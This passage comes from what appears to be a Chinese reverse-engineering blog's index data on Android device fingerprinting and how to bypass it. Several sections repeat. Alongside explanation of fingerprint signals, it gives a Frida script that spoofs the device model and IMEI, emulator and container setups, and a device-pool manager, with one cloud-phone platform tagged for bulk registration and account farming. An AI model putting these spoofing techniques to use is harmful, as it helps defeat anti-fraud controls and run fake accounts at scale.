中（越来越难获取） 设备型号 8-10 bits 低 高 屏幕分辨率 6-8 bits 低 高 传感器列表 15-20 bits 中 高 稳定性评估 稳定性指的是设备在不同时间点、不同环境下生成的指纹一致性： def stability_score(fingerprints): \"\"\" 评估同一设备在不同时间生成的指纹稳定性 fingerprints: 同一设备多次生成的指纹列表 \"\"\" if len(fingerprints) \u003c 2: return 1.0 # 计算指纹之间相似度 base = fingerprints[0] similarities = [] for fp in fingerprints[1:]: # Hamming 距离 diff = sum(c1 != c2 for c1, c2 in zip(base, fp)) similarity = 1 - (diff / len(base)) similarities.append(similarity) return sum(similarities) / len(similarities) def quality_score(entropy, stability, coverage): \"\"\" 计算指纹方案质量分数 entropy: 熵值 (0-100) stability: 稳定性 (0-1) coverage: 设备覆盖率 (0-1) \"\"\" # 加权计算 score = ( entropy * 0.4 + # 唯一性权重 40% stability * 50 * 0.4 + # 稳定性权重 40% coverage * 100 * 0.2 # 覆盖率权重 20% ) return score ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:1:2","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#熵值计算"},{"categories":null,"collections":null,"content":"熵值与稳定性 好的设备指纹需要在唯一性（高熵值）和稳定性之间找到平衡。 熵值计算 熵值衡量一个特征的信息量和区分能力： import math from collections import Counter def calculate_entropy(values): \"\"\" 计算一个特征的香农熵 熵值越高，说明该特征区分能力越强 \"\"\" total = len(values) counter = Counter(values) entropy = 0 for count in counter.values(): p = count / total entropy -= p * math.log2(p) return entropy # 示例 android_ids = ['id1', 'id2', 'id3', ...] # 采集的数据 entropy = calculate_entropy(android_ids) print(f\"Android ID 熵值: {entropy} bits\") 特征 熵值 唯一性 稳定性 Android ID 60+ bits 高 中（恢复出厂会变） MAC 地址 48 bits 高 中（越来越难获取） 设备型号 8-10 bits 低 高 屏幕分辨率 6-8 bits 低 高 传感器列表 15-20 bits 中 高 稳定性评估 稳定性指的是设备在不同时间点、不同环境下生成的指纹一致性： def stability_score(fingerprints): \"\"\" 评估同一设备在不同时间生成的指纹稳定性 fingerprints: 同一设备多次生成的指纹列表 \"\"\" if len(fingerprints) \u003c 2: return 1.0 # 计算指纹之间相似度 base = fingerprints[0] similarities = [] for fp in fingerprints[1:]: # Hamming 距离 diff = sum(c1 != c2 for c1, c2 in zip(base, fp)) similarity = 1 - (diff / len(base)) similarities.append(similarity) return sum(similarities) / len(similarities) def quality_score(entropy, stability, coverage): \"\"\" 计算指纹方案质量分数 entropy: 熵值 (0-100) stability: 稳定性 (0-1) coverage: 设备覆盖率 (0-1) \"\"\" # 加权计算 score = ( entropy * 0.4 + # 唯一性权重 40% stability * 50 * 0.4 + # 稳定性权重 40% coverage * 100 * 0.2 # 覆盖率权重 20% ) return score ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:1:2","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#稳定性评估"},{"categories":null,"collections":null,"content":"指纹更新策略 1. 主动更新触发条件 设备硬件变更（换SIM卡、重置设备） App版本升级（指纹算法更新） 定期刷新（如每30天） 2. 被动更新触发条件 检测到指纹冲突（多个设备具有相同指纹） 检测到异常行为（疑似改机） 服务端要求强制更新 更新策略实现 class FingerprintManager: def should_update(self, old_fp, new_data): \"\"\" 检查是否需要更新指纹 \"\"\" # 计算新指纹 new_fp = self.generate_fingerprint(new_data) # 1. 关键字段变更 critical_changed = self._check_critical_fields(old_fp, new_data) if critical_changed: return True, \"Critical field changed\" # 2. 相似度过低 similarity = self._calculate_similarity(old_fp, new_fp) if similarity \u003c 0.7: return True, \"Low similarity\" # 3. 时间过期 if self._is_expired(old_fp): return True, \"Expired\" return False, \"No update needed\" def update_fingerprint(self, device_id, new_fp, reason): \"\"\" 更新指纹时保留历史记录 \"\"\" history = { 'device_id': device_id, 'old_fingerprint': self.current_fp, 'new_fingerprint': new_fp, 'update_reason': reason, 'timestamp': time.time() } self._save_history(history) self.current_fp = new_fp ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:1:3","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#指纹更新策略"},{"categories":null,"collections":null,"content":"指纹更新策略 1. 主动更新触发条件 设备硬件变更（换SIM卡、重置设备） App版本升级（指纹算法更新） 定期刷新（如每30天） 2. 被动更新触发条件 检测到指纹冲突（多个设备具有相同指纹） 检测到异常行为（疑似改机） 服务端要求强制更新 更新策略实现 class FingerprintManager: def should_update(self, old_fp, new_data): \"\"\" 检查是否需要更新指纹 \"\"\" # 计算新指纹 new_fp = self.generate_fingerprint(new_data) # 1. 关键字段变更 critical_changed = self._check_critical_fields(old_fp, new_data) if critical_changed: return True, \"Critical field changed\" # 2. 相似度过低 similarity = self._calculate_similarity(old_fp, new_fp) if similarity \u003c 0.7: return True, \"Low similarity\" # 3. 时间过期 if self._is_expired(old_fp): return True, \"Expired\" return False, \"No update needed\" def update_fingerprint(self, device_id, new_fp, reason): \"\"\" 更新指纹时保留历史记录 \"\"\" history = { 'device_id': device_id, 'old_fingerprint': self.current_fp, 'new_fingerprint': new_fp, 'update_reason': reason, 'timestamp': time.time() } self._save_history(history) self.current_fp = new_fp ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:1:3","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#更新策略实现"},{"categories":null,"collections":null,"content":"主流设备指纹采集维度 ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:2:0","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#主流设备指纹采集维度"},{"categories":null,"collections":null,"content":"硬件层标识符 这些是传统的、权限较高的设备 ID。 标识符 获取方式 (Java API) 特点 Android ID Settings.Secure.getString(resolver, \"android_id\") Android 8.0 以上，对每个 App 和用户都不同。恢复出厂设置会改变。 IMEI/MEID TelephonyManager.getImei() 手机的唯一身份码。需要 READ_PHONE_STATE 权限，且越来越难获取。 IMSI TelephonyManager.getSubscriberId() SIM 卡的唯一身份码。同样需要高权限。 MAC 地址 WifiInfo.getMacAddress() Android 6.0 以后，App 获取到的通常是一个固定的假值 02:00:00:00:00:00。 ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:2:1","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#硬件层标识符"},{"categories":null,"collections":null,"content":"系统与软件特征 这是指纹库的主体，信息量大，获取成本低。 Build 属性: 通过 android.os.Build 类或直接读取 /system/build.prop 文件获取。 Build.MODEL: 设备型号 (e.g., “Pixel 6”) Build.BRAND: 品牌 (e.g., “Google”) Build.MANUFACTURER: 制造商 (e.g., “Google”) Build.VERSION.SDK_INT: SDK 版本号 (e.g., 33) Build.FINGERPRINT: 系统构建指纹，信息量巨大。 系统设置: 屏幕分辨率、DPI (DisplayMetrics) 系统语言、时区、默认字体列表。 软件环境: 已安装应用列表 (PackageManager.getInstalledPackages) 特定 App (如输入法) 的版本 ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:2:2","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#系统与软件特征"},{"categories":null,"collections":null,"content":"硬件特性指纹 利用硬件的细微物理差异来创建指纹。 传感器数据: 读取加速度计、陀螺仪等传感器的校准数据或在特定操作下的读数。不同批次的传感器存在物理差异。 CPU/GPU 信息: 读取 /proc/cpuinfo 获取 CPU 型号、核心数、特性等。 通过 OpenGL/WebGL API 查询 GPU 供应商、渲染器信息，甚至可以执行一个标准渲染任务，将渲染结果的 Hash 作为指纹。 摄像头参数: CameraCharacteristics 中包含的详细参数。 ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:2:3","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#硬件特性指纹"},{"categories":null,"collections":null,"content":"通过 SVC (系统调用) 获取信息 这是一种高级的反 Hook 技术，常见于加固方案中。其核心思想是绕过所有上层 API 和 libc 函数，通过 SVC 指令直接发起系统调用 (syscall) 来获取信息或执行操作。 原理: SVC 是 ARM 处理器的一条指令，它会触发一个软件中断，使 CPU 从用户态（User Mode）切换到管理态（Supervisor Mode），从而执行内核代码。这是所有系统调用的基础。加固厂商在 SO 文件中直接嵌入 SVC 指令，可以不经过 libc.so 中的 read, open, ioctl 等函数，直接调用内核中对应的功能。 应用场景: 绕过 API Hook: 这是其最主要的目的。由于 Frida、Xposed 等框架主要 Hook 的是 App 进程空间中的函数（Java API 或 Native API），SVC 指令直接与内核交互，使得这些上层 Hook 完全失效。 读取敏感文件: 直接使用 open/read 的系统调用号来读取 /proc/self/maps, /proc/cpuinfo 等文件，以检测环境或收集指纹。 执行反调试: 使用 ptrace 的系统调用号来执行反调试检查。 分析与识别: 静态分析: 在 IDA 等反汇编工具中，直接搜索 SVC 指令。如果一个 SO 文件中含有大量 SVC 指令，且其上下文逻辑复杂，则极有可能使用了该技术。 动态分析: Hook 系统调用需要更底层的工具。Frida 的 Stalker 可以用来跟踪指令级的执行流程，从而捕捉到 SVC 的调用。 ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:2:4","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#通过-svc-系统调用-获取信息"},{"categories":null,"collections":null,"content":"网络环境指纹 IP 地址: 最基础的维度，结合地理位置库可以判断用户位置。 网络信息: 运营商名称 (TelephonyManager.getNetworkOperatorName)、Wi-Fi BSSID/SSID。 TLS/JA3 指纹: 在建立 TLS 连接时，客户端 Client Hello 包的特征可以构成一个稳定的指纹，用于识别特定的网络库和版本。 ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:2:5","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#网络环境指纹"},{"categories":null,"collections":null,"content":"行为特征指纹 行为特征是一种动态指纹，基于用户的操作模式和设备使用习惯。 采集维度 1. 触摸行为 view.setOnTouchListener(new View.OnTouchListener() { @Override public boolean onTouch(View v, MotionEvent event) { // 采集触摸压力 float pressure = event.getPressure(); // 采集触摸面积 float size = event.getSize(); // 采集触摸坐标和时间戳 long timestamp = event.getEventTime(); float x = event.getX(); float y = event.getY(); // 构建触摸特征向量 TouchFeature feature = new TouchFeature(pressure, size, timestamp, x, y); return false; } }); 2. 传感器行为 SensorManager sensorManager = (SensorManager) getSystemService(SENSOR_SERVICE); Sensor accelerometer = sensorManager.getDefaultSensor(Sensor.TYPE_ACCELEROMETER); sensorManager.registerListener(new SensorEventListener() { @Override public void onSensorChanged(SensorEvent event) { float x = event.values[0]; float y = event.values[1]; float z = event.values[2]; // 分析持握姿态、步态特征等 analyzeMotionPattern(x, y, z); } @Override public void onAccuracyChanged(Sensor sensor, int accuracy) {} }, accelerometer, SensorManager.SENSOR_DELAY_NORMAL); 3. 应用使用模式 App 启动时间分布 常用 App 列表及使用频率 前后台切换模式 应用安装/卸载习惯 4. 网络行为 访问时间模式（工作日 vs 周末，白天 vs 晚上） 请求频率和间隔 网络切换习惯（WiFi ↔ 4G/5G） 常用地理位置 行为指纹生成 class BehaviorFingerprint: def __init__(self): self.touch_features = [] self.sensor_features = [] self.app_usage = {} self.network_pattern = {} def extract_touch_signature(self, touch_events): \"\"\"从触摸事件提取用户签名\"\"\" pressures = [e.pressure for e in touch_events] velocities = self._calculate_velocities(touch_events) signature = { 'avg_pressure': np.mean(pressures), 'std_pressure': np.std(pressures), 'avg_velocity': np.mean(velocities), 'touch_rhythm': self._analyze_rhythm(touch_events) } return signature def generate_behavior_fingerprint(self): \"\"\"生成综合行为指纹\"\"\" touch_sig = self.extract_touch_signature(self.touch_features) motion_sig = self.extract_motion_signature(self.sensor_features) usage_sig = self.extract_usage_signature(self.app_usage) # 组合为行为特征向量 behavior_vector = { 'touch': touch_sig, 'motion': motion_sig, 'usage': usage_sig, 'network': self.network_pattern } return hashlib.sha256( json.dumps(behavior_vector, sort_keys=True).encode() ).hexdigest() ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:2:6","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#行为特征指纹"},{"categories":null,"collections":null,"content":"行为特征指纹 行为特征是一种动态指纹，基于用户的操作模式和设备使用习惯。 采集维度 1. 触摸行为 view.setOnTouchListener(new View.OnTouchListener() { @Override public boolean onTouch(View v, MotionEvent event) { // 采集触摸压力 float pressure = event.getPressure(); // 采集触摸面积 float size = event.getSize(); // 采集触摸坐标和时间戳 long timestamp = event.getEventTime(); float x = event.getX(); float y = event.getY(); // 构建触摸特征向量 TouchFeature feature = new TouchFeature(pressure, size, timestamp, x, y); return false; } }); 2. 传感器行为 SensorManager sensorManager = (SensorManager) getSystemService(SENSOR_SERVICE); Sensor accelerometer = sensorManager.getDefaultSensor(Sensor.TYPE_ACCELEROMETER); sensorManager.registerListener(new SensorEventListener() { @Override public void onSensorChanged(SensorEvent event) { float x = event.values[0]; float y = event.values[1]; float z = event.values[2]; // 分析持握姿态、步态特征等 analyzeMotionPattern(x, y, z); } @Override public void onAccuracyChanged(Sensor sensor, int accuracy) {} }, accelerometer, SensorManager.SENSOR_DELAY_NORMAL); 3. 应用使用模式 App 启动时间分布 常用 App 列表及使用频率 前后台切换模式 应用安装/卸载习惯 4. 网络行为 访问时间模式（工作日 vs 周末，白天 vs 晚上） 请求频率和间隔 网络切换习惯（WiFi ↔ 4G/5G） 常用地理位置 行为指纹生成 class BehaviorFingerprint: def __init__(self): self.touch_features = [] self.sensor_features = [] self.app_usage = {} self.network_pattern = {} def extract_touch_signature(self, touch_events): \"\"\"从触摸事件提取用户签名\"\"\" pressures = [e.pressure for e in touch_events] velocities = self._calculate_velocities(touch_events) signature = { 'avg_pressure': np.mean(pressures), 'std_pressure': np.std(pressures), 'avg_velocity': np.mean(velocities), 'touch_rhythm': self._analyze_rhythm(touch_events) } return signature def generate_behavior_fingerprint(self): \"\"\"生成综合行为指纹\"\"\" touch_sig = self.extract_touch_signature(self.touch_features) motion_sig = self.extract_motion_signature(self.sensor_features) usage_sig = self.extract_usage_signature(self.app_usage) # 组合为行为特征向量 behavior_vector = { 'touch': touch_sig, 'motion': motion_sig, 'usage': usage_sig, 'network': self.network_pattern } return hashlib.sha256( json.dumps(behavior_vector, sort_keys=True).encode() ).hexdigest() ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:2:6","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#采集维度"},{"categories":null,"collections":null,"content":"行为特征指纹 行为特征是一种动态指纹，基于用户的操作模式和设备使用习惯。 采集维度 1. 触摸行为 view.setOnTouchListener(new View.OnTouchListener() { @Override public boolean onTouch(View v, MotionEvent event) { // 采集触摸压力 float pressure = event.getPressure(); // 采集触摸面积 float size = event.getSize(); // 采集触摸坐标和时间戳 long timestamp = event.getEventTime(); float x = event.getX(); float y = event.getY(); // 构建触摸特征向量 TouchFeature feature = new TouchFeature(pressure, size, timestamp, x, y); return false; } }); 2. 传感器行为 SensorManager sensorManager = (SensorManager) getSystemService(SENSOR_SERVICE); Sensor accelerometer = sensorManager.getDefaultSensor(Sensor.TYPE_ACCELEROMETER); sensorManager.registerListener(new SensorEventListener() { @Override public void onSensorChanged(SensorEvent event) { float x = event.values[0]; float y = event.values[1]; float z = event.values[2]; // 分析持握姿态、步态特征等 analyzeMotionPattern(x, y, z); } @Override public void onAccuracyChanged(Sensor sensor, int accuracy) {} }, accelerometer, SensorManager.SENSOR_DELAY_NORMAL); 3. 应用使用模式 App 启动时间分布 常用 App 列表及使用频率 前后台切换模式 应用安装/卸载习惯 4. 网络行为 访问时间模式（工作日 vs 周末，白天 vs 晚上） 请求频率和间隔 网络切换习惯（WiFi ↔ 4G/5G） 常用地理位置 行为指纹生成 class BehaviorFingerprint: def __init__(self): self.touch_features = [] self.sensor_features = [] self.app_usage = {} self.network_pattern = {} def extract_touch_signature(self, touch_events): \"\"\"从触摸事件提取用户签名\"\"\" pressures = [e.pressure for e in touch_events] velocities = self._calculate_velocities(touch_events) signature = { 'avg_pressure': np.mean(pressures), 'std_pressure': np.std(pressures), 'avg_velocity': np.mean(velocities), 'touch_rhythm': self._analyze_rhythm(touch_events) } return signature def generate_behavior_fingerprint(self): \"\"\"生成综合行为指纹\"\"\" touch_sig = self.extract_touch_signature(self.touch_features) motion_sig = self.extract_motion_signature(self.sensor_features) usage_sig = self.extract_usage_signature(self.app_usage) # 组合为行为特征向量 behavior_vector = { 'touch': touch_sig, 'motion': motion_sig, 'usage': usage_sig, 'network': self.network_pattern } return hashlib.sha256( json.dumps(behavior_vector, sort_keys=True).encode() ).hexdigest() ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:2:6","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#行为指纹生成"},{"categories":null,"collections":null,"content":"核心绕过技术与策略 ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:3:0","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#核心绕过技术与策略"},{"categories":null,"collections":null,"content":"Hook 技术 (Frida/Xposed) 核心思路: 识别 -\u003e Hook -\u003e 伪造 识别: 定位 App 获取关键指纹信息的代码位置（Java API 或 JNI 函数）。 Hook: 使用 Frida 或 Xposed 拦截这些函数的调用。 伪造: 在函数返回前，用一套预设的、自洽的假数据替换真实返回值。 Frida 概念脚本 (伪造 Build.MODEL): Java.perform(function () { var Build = Java.use(\"android.os.Build\"); Build.MODEL.value = \"Pixel 4\"; // 修改 MODEL 字段 var String = Java.use(\"java.lang.String\"); var TelephonyManager = Java.use(\"android.telephony.TelephonyManager\"); TelephonyManager.getDeviceId.overload().implementation = function () { console.log(\"Hooked getDeviceId(). Returning a fake IMEI.\"); return String.$new(\"867530900000000\"); // 返回伪造 IMEI }; }); ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:3:1","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#hook-技术-fridaxposed"},{"categories":null,"collections":null,"content":"深度设备修改 (“改机”) 需要 Root 权限，直接修改 /system/build.prop 等系统级文件，或通过内核模块修改系统调用的返回值。 优点: 无法通过应用层的检测手段识破，因为 App 获取到的就是系统层返回的\"真实\"数据。 缺点: 技术门槛高，工作量巨大。 ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:3:2","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#深度设备修改-改机"},{"categories":null,"collections":null,"content":"环境虚拟化与容器技术 虚拟化和容器技术是规模化设备指纹绕过的核心基础设施，能够在单台物理机上运行数百个独立的 Android 实例。 Android 虚拟化技术栈 1. 基于 QEMU 的完整虚拟化 Android 官方模拟器（AVD）基于 QEMU 实现： # 启动 AVD 模拟器 emulator -avd Pixel_6_API_33 \\ -no-snapshot \\ -wipe-data \\ -gpu swiftshader_indirect 主要问题： # 容易被检测的特征 getprop ro.hardware # 返回 \"goldfish\" 或 \"ranchu\" getprop ro.product.model # 返回 \"android SDK built for x86\" getprop ro.build.fingerprint # 包含 \"通用\" 字样 # 缺失传感器 pm list features | grep sensor # 大量传感器缺失 2. 基于容器的方案 (Docker/LXC) 容器技术提供更轻量的隔离： # Dockerfile for Android container FROM ubuntu:20.04 # 安装 Android 环境 RUN apt-get update \u0026\u0026 apt-get install -y \\ openjdk-11-jdk \\ android-sdk \\ adb \\ fastboot # 配置 Android 环境 ENV ANDROID_HOME=/opt/android-sdk ENV PATH=$PATH:$ANDROID_HOME/tools:$ANDROID_HOME/platform-tools # 运行 ADB 服务 CMD [\"adb\", \"-a\", \"nodaemon\", \"server\"] 3. 专业容器方案：Redroid Redroid 是一个基于 Docker 的 Android 容器方案： # 运行 Redroid 容器 docker run -d \\ --name redroid \\ --privileged \\ -v ~/data:/data \\ -p 5555:5555 \\ redroid/redroid:11.0.0-latest # 连接到 Redroid adb connect localhost:5555 adb shell ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:3:3","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#环境虚拟化与容器技术"},{"categories":null,"collections":null,"content":"环境虚拟化与容器技术 虚拟化和容器技术是规模化设备指纹绕过的核心基础设施，能够在单台物理机上运行数百个独立的 Android 实例。 Android 虚拟化技术栈 1. 基于 QEMU 的完整虚拟化 Android 官方模拟器（AVD）基于 QEMU 实现： # 启动 AVD 模拟器 emulator -avd Pixel_6_API_33 \\ -no-snapshot \\ -wipe-data \\ -gpu swiftshader_indirect 主要问题： # 容易被检测的特征 getprop ro.hardware # 返回 \"goldfish\" 或 \"ranchu\" getprop ro.product.model # 返回 \"android SDK built for x86\" getprop ro.build.fingerprint # 包含 \"通用\" 字样 # 缺失传感器 pm list features | grep sensor # 大量传感器缺失 2. 基于容器的方案 (Docker/LXC) 容器技术提供更轻量的隔离： # Dockerfile for Android container FROM ubuntu:20.04 # 安装 Android 环境 RUN apt-get update \u0026\u0026 apt-get install -y \\ openjdk-11-jdk \\ android-sdk \\ adb \\ fastboot # 配置 Android 环境 ENV ANDROID_HOME=/opt/android-sdk ENV PATH=$PATH:$ANDROID_HOME/tools:$ANDROID_HOME/platform-tools # 运行 ADB 服务 CMD [\"adb\", \"-a\", \"nodaemon\", \"server\"] 3. 专业容器方案：Redroid Redroid 是一个基于 Docker 的 Android 容器方案： # 运行 Redroid 容器 docker run -d \\ --name redroid \\ --privileged \\ -v ~/data:/data \\ -p 5555:5555 \\ redroid/redroid:11.0.0-latest # 连接到 Redroid adb connect localhost:5555 adb shell ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:3:3","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#android-虚拟化技术栈"},{"categories":null,"collections":null,"content":"云手机技术详解 云手机架构 ┌─────────────────────────────────────────────────┐ │ 用户接入层 (Access Layer) │ │ - Web 控制台 │ │ - API 服务 │ │ - 自动化脚本 │ ├─────────────────────────────────────────────────┤ │ 云手机实例层 (Instance Layer) │ │ ┌──────────┐ ┌──────────┐ ┌──────────┐ │ │ │ 云手机1 │ │ 云手机2 │ │ 云手机N │ ... │ │ │ Android │ │ Android │ │ Android │ │ │ └──────────┘ └──────────┘ └──────────┘ │ ├─────────────────────────────────────────────────┤ │ 虚拟化层 (Virtualization Layer) │ │ - ARM 虚拟化 (KVM/QEMU) │ │ - GPU 虚拟化 (vGPU) │ │ - 网络虚拟化 (VPC) │ ├─────────────────────────────────────────────────┤ │ 硬件层 (Hardware Layer) │ │ - ARM 服务器 (华为鲲鹏/飞腾) │ │ - 高性能存储 (NVMe SSD) │ │ - 专用 GPU (Mali/Adreno) │ └─────────────────────────────────────────────────┘ 云手机平台对比 平台 架构 密度 性能 成本 适用场景 华为云手机 ARM 服务器+KVM 中 高 高 企业级应用 红手指 ARM 容器 高 中 中 自动化、挂机 多多云手机 x86+容器 高 低 低 批量注册、养号 AWS Device Farm 真机 低 极高 极高 测试、兼容性验证 ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:3:4","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#云手机技术详解"},{"categories":null,"collections":null,"content":"云手机技术详解 云手机架构 ┌─────────────────────────────────────────────────┐ │ 用户接入层 (Access Layer) │ │ - Web 控制台 │ │ - API 服务 │ │ - 自动化脚本 │ ├─────────────────────────────────────────────────┤ │ 云手机实例层 (Instance Layer) │ │ ┌──────────┐ ┌──────────┐ ┌──────────┐ │ │ │ 云手机1 │ │ 云手机2 │ │ 云手机N │ ... │ │ │ Android │ │ Android │ │ Android │ │ │ └──────────┘ └──────────┘ └──────────┘ │ ├─────────────────────────────────────────────────┤ │ 虚拟化层 (Virtualization Layer) │ │ - ARM 虚拟化 (KVM/QEMU) │ │ - GPU 虚拟化 (vGPU) │ │ - 网络虚拟化 (VPC) │ ├─────────────────────────────────────────────────┤ │ 硬件层 (Hardware Layer) │ │ - ARM 服务器 (华为鲲鹏/飞腾) │ │ - 高性能存储 (NVMe SSD) │ │ - 专用 GPU (Mali/Adreno) │ └─────────────────────────────────────────────────┘ 云手机平台对比 平台 架构 密度 性能 成本 适用场景 华为云手机 ARM 服务器+KVM 中 高 高 企业级应用 红手指 ARM 容器 高 中 中 自动化、挂机 多多云手机 x86+容器 高 低 低 批量注册、养号 AWS Device Farm 真机 低 极高 极高 测试、兼容性验证 ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:3:4","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#云手机架构"},{"categories":null,"collections":null,"content":"云手机技术详解 云手机架构 ┌─────────────────────────────────────────────────┐ │ 用户接入层 (Access Layer) │ │ - Web 控制台 │ │ - API 服务 │ │ - 自动化脚本 │ ├─────────────────────────────────────────────────┤ │ 云手机实例层 (Instance Layer) │ │ ┌──────────┐ ┌──────────┐ ┌──────────┐ │ │ │ 云手机1 │ │ 云手机2 │ │ 云手机N │ ... │ │ │ Android │ │ Android │ │ Android │ │ │ └──────────┘ └──────────┘ └──────────┘ │ ├─────────────────────────────────────────────────┤ │ 虚拟化层 (Virtualization Layer) │ │ - ARM 虚拟化 (KVM/QEMU) │ │ - GPU 虚拟化 (vGPU) │ │ - 网络虚拟化 (VPC) │ ├─────────────────────────────────────────────────┤ │ 硬件层 (Hardware Layer) │ │ - ARM 服务器 (华为鲲鹏/飞腾) │ │ - 高性能存储 (NVMe SSD) │ │ - 专用 GPU (Mali/Adreno) │ └─────────────────────────────────────────────────┘ 云手机平台对比 平台 架构 密度 性能 成本 适用场景 华为云手机 ARM 服务器+KVM 中 高 高 企业级应用 红手指 ARM 容器 高 中 中 自动化、挂机 多多云手机 x86+容器 高 低 低 批量注册、养号 AWS Device Farm 真机 低 极高 极高 测试、兼容性验证 ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:3:4","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#云手机平台对比"},{"categories":null,"collections":null,"content":"构建一致性的\"设备画像\" class DeviceFingerprintManager: def __init__(self, device_pool_db): self.db = device_pool_db self.used_fingerprints = set() def get_unused_fingerprint(self): \"\"\"从设备池中获取未使用的指纹\"\"\" while True: fp = self.db.get_random_fingerprint() fp_hash = 